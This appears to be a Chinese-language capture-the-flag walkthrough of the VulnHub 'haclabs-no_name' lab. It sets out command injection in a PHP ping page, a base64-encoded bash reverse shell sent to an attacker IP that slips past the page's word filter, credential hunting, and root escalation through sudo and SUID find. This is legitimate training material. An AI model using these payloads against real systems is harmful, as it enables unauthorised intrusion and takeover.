[原创]靶机系列测试教程 haclabs-no_name
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
1 交流平台
随着教程的推出,看视频的人也越来越多,随之而来的问题也增多,本人平时非常忙,难以有时间回复大家的问题,特意建立了一个QQ群,里面有很多这方面的高手,有什么不懂的,请到群里提问,咨询问题的时候,一定要详细,不然没人会回复你,另外本人有时间会在群内直播测试靶机,还没加上群的赶快加上了。
1 介绍
1.1 靶机介绍
描述 | 说明 |
Difficulty | Easy to Intermediate |
Description | This a beginner level machine , getting a shell is a little bit harder, just think out of the box to get the shell.privilege escalation is easy once you get the shell. This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills. |
Flag | 3个 |
下载地址
https://www.vulnhub.com/entry/haclabs-no_name,429/
难度 中等
2 靶机测试
2.1 信息收集
2.1.1 nmap扫描
nmap -T5 -A 192.168.0.172 -oA hl-ports
3.2 目录扫描
gobuster dir -u http://192.168.0.173 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php
3.3 访问主页
经过一些列测试发现存在命令执行漏洞
http://192.168.0.173/superadmin.php
3.4 分析php文件
ping 127.0.0.1|cat superadmin.php
<form method="post" action=""> <input type="text" placeholder="Enter an IP to ping" name="pinger"> <br> <input type="submit" name="submitt"> </form> <pre><form method="post" action=""> <input type="text" placeholder="Enter an IP to ping" name="pinger"> <br> <input type="submit" name="submitt"> </form> <?php if (isset($_POST['submitt'])) { $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd"); $pinged=$_POST['pinger']; $newStr = str_replace($word, "", $pinged); if(strcmp($pinged, $newStr) == 0) { $flag=1; } else { $flag=0; } } if ($flag==1){ $outer=shell_exec("ping -c 3 $pinged"); echo "<pre>$outer</pre>"; } ?> $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd"); str_replace($word, "", $pinged); 把以上的字符过滤了。
3.5 绕过命令执行反弹shell
bash -i >& /dev/tcp/192.168.0.170/9090 0>&1 转成 base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTcwLzkwOTAgMD4mMQ==
监听本地8080端口
nc -lvnp 8080
127.0.0.1|echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTcwLzkwOTAgMD4mMQ==”|base64 -d|bash
3.6 切换python shell
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’;
3.7 查看当前用户
cat /etc/passwd | grep bash
三个用户 刚好三个flag 最终的是root用户下的flag.txt
3.8 第一个flag
cat /home/yash/flag1.txt
得到第一个flag1.txt
Due to some security issues,I have saved haclabs password in a hidden file.
这点文字的意思是 haclabs 的密码隐藏在一个文件里面
3.9 搜索隐藏文件
文件是yash用户建立的 可以使用搜索用户的文件
find / -type f -user yash 2>/dev/null
find / -name “.*” -print
find / -name “.*” 2>/dev/null
用户 haclabs密码haclabs1234
3.10 第二个flag
su haclabs 登录 查看当前的flag2.txt
其实也可以用www的权限访问 获取flag2.txt
3.11 特权提升
3.11.1 sudo提权 第一种方法
看到当前目录下有sudo_as_admin_successful
sudo -l
find 命令不需要密码
sudo find . -exec /bin/sh \; -quit
3.11.2 第二种suid提权
查找suid文件
find /usr -perm -u=s -type f 2>/dev/null
find test -exec /bin/bash -p \; -quit
3.11.3 得到第三个flag
4 学习总结
- nmap扫描
- gobuster目录扫描
- 分析php漏洞
- 绕过命令执行漏洞
- 反弹SHELL
- 搜索隐藏文件
- linux suid提权
- linux sudo提权
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/989.html